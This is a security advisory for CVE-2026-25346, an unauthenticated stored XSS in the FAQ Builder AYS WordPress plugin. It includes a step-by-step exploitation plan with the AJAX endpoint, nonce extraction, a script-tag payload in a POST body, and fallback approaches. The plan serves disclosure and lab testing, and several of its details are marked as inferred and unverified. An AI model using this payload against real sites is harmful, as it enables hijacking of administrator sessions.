CVE-2026-25346

FAQ Builder AYS <= 1.8.2 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.8.3
Patched in
7d
Time to patch

Description

The FAQ Builder AYS plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.8.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.8.2
PublishedMarch 20, 2026
Last updatedMarch 26, 2026
Affected pluginfaq-builder-ays

What Changed in the Fix

Changes introduced in v1.8.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the research and exploitation strategy for CVE-2026-25346, a Stored Cross-Site Scripting (XSS) vulnerability in the "FAQ Builder AYS" WordPress plugin. ### 1. Vulnerability Summary The FAQ Builder AYS plugin (versions <= 1.8.2) contains an unauthenticated stored XSS vulnerability…

Show full research plan

This plan outlines the research and exploitation strategy for CVE-2026-25346, a Stored Cross-Site Scripting (XSS) vulnerability in the "FAQ Builder AYS" WordPress plugin.

1. Vulnerability Summary

The FAQ Builder AYS plugin (versions <= 1.8.2) contains an unauthenticated stored XSS vulnerability. The vulnerability resides in the "Individual questions from users" feature, which allows website visitors to submit their own questions for an FAQ. The plugin fails to sanitize the question content upon submission and fails to escape it when rendering it in the WordPress admin dashboard (specifically within the "User Questions" management interface).

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: ays_faq_send_question (inferred from feature description and AYS plugin patterns)
  • HTTP Parameter: ays_faq_question (the payload carrier)
  • Authentication: Unauthenticated (accessible via wp_ajax_nopriv_ hook)
  • Preconditions:
    1. At least one FAQ must be created.
    2. The "Allow users to ask questions" setting must be enabled for that FAQ (this is a per-FAQ or general setting).

3. Code Flow

  1. Submission: An unauthenticated user sends a POST request to admin-ajax.php with the action ays_faq_send_question.
  2. Processing: The handler (likely in includes/class-faq-builder-ays.php or a public class) retrieves $_POST['ays_faq_question'] without applying sanitize_text_field() or wp_kses().
  3. Storage: The unsanitized string is stored in the database, likely in a table named wp_ays_faq_questions (inferred).
  4. Rendering: An administrator logs in and navigates to the FAQ Builder dashboard. When viewing the "User Questions" tab or a similar management screen for a specific FAQ, the plugin retrieves the stored question and echoes it directly without using esc_html() or wp_kses().

4. Nonce Acquisition Strategy

The AYS FAQ plugin typically uses a nonce to protect its AJAX submissions, even for unauthenticated users. This nonce is usually localized into a JavaScript object on pages where the FAQ shortcode is present.

  1. Identify Shortcode: The plugin uses the shortcode [ays_faq id="X"].
  2. Setup Page: Create a public page containing the shortcode for an existing FAQ.
  3. Variable Name: The plugin localizes data into a global JS object. Based on AYS naming conventions, this is likely ays_faq_public_obj or ays_faq_ajax_obj.
  4. Extraction:
    • Navigate to the page with the shortcode.
    • Use browser_eval to extract the nonce and the AJAX URL:
      {
        nonce: window.ays_faq_public_obj?.ays_faq_nonce,
        ajax_url: window.ays_faq_public_obj?.ajax_url
      }
      
  5. Action String: The nonce is likely generated using wp_create_nonce('ays_faq_nonce').

5. Exploitation Strategy

The goal is to inject a script that executes when the administrator views the submitted question.

  1. Identify FAQ ID: Use wp_cli to list FAQs and pick one: wp ays-faq list (if supported) or wp db query "SELECT id FROM wp_ays_faq_faqs LIMIT 1;".
  2. Prepare Payload: Use a simple alert to prove execution: <script>alert(document.domain)</script>.
  3. Send Injection Request:
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Method: POST
    • Content-Type: application/x-www-form-urlencoded
    • Body Params:
      • action: ays_faq_send_question
      • ays_faq_question: <script>alert(document.domain)</script>
      • ays_faq_id: [ID_FROM_STEP_1]
      • ays_faq_name: Researcher
      • ays_faq_email: test@example.com
      • nonce: [NONCE_FROM_STEP_4]
  4. Trigger Execution:
    • Log in as administrator.
    • Navigate to the FAQ Builder "Questions" interface. The URL is likely wp-admin/admin.php?page=faq-builder-ays&action=edit&id=[ID].
    • Click on the "User Questions" or "Questions" tab.

6. Test Data Setup

  1. Create FAQ: Use the admin interface or SQL to ensure at least one FAQ exists.
  2. Enable Feature: Ensure the "Allow users to ask questions" option is checked in the FAQ settings.
  3. Publish Shortcode: Create a page with the shortcode [ays_faq id="1"] (assuming ID 1).
    wp post create --post_type=page --post_status=publish --post_title="FAQ Page" --post_content='[ays_faq id="1"]'
    

7. Expected Results

  • The http_request should return a success message (e.g., JSON response {"status":true} or a string "Success").
  • When the admin views the "User Questions" tab, a browser alert with the site's domain should appear.

8. Verification Steps

  1. Database Check: Verify the payload exists in the database.
    wp db query "SELECT question FROM wp_ays_faq_questions WHERE author_name='Researcher';"
    
  2. Response Check: Check the HTML source of the admin page to see the unescaped script tag.
    # (Using browser_eval on the admin page)
    browser_eval("document.body.innerHTML.includes('<script>alert(document.domain)</script>')")
    

9. Alternative Approaches

  • No Nonce: If nonce is not present in the localized script, try the request without the nonce parameter, as some versions may have omitted the check.
  • Different Action: If ays_faq_send_question fails, check the public JS files (public/js/faq-builder-ays-public.js) for the actual AJAX action name used in the $.ajax call.
  • Reflected XSS: Check if the ays_create_faq_preview action (found in admin/class-faq-builder-ays-admin.php) reflects any parameters unsanitized, which could provide a secondary reflected XSS vector for authenticated users.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.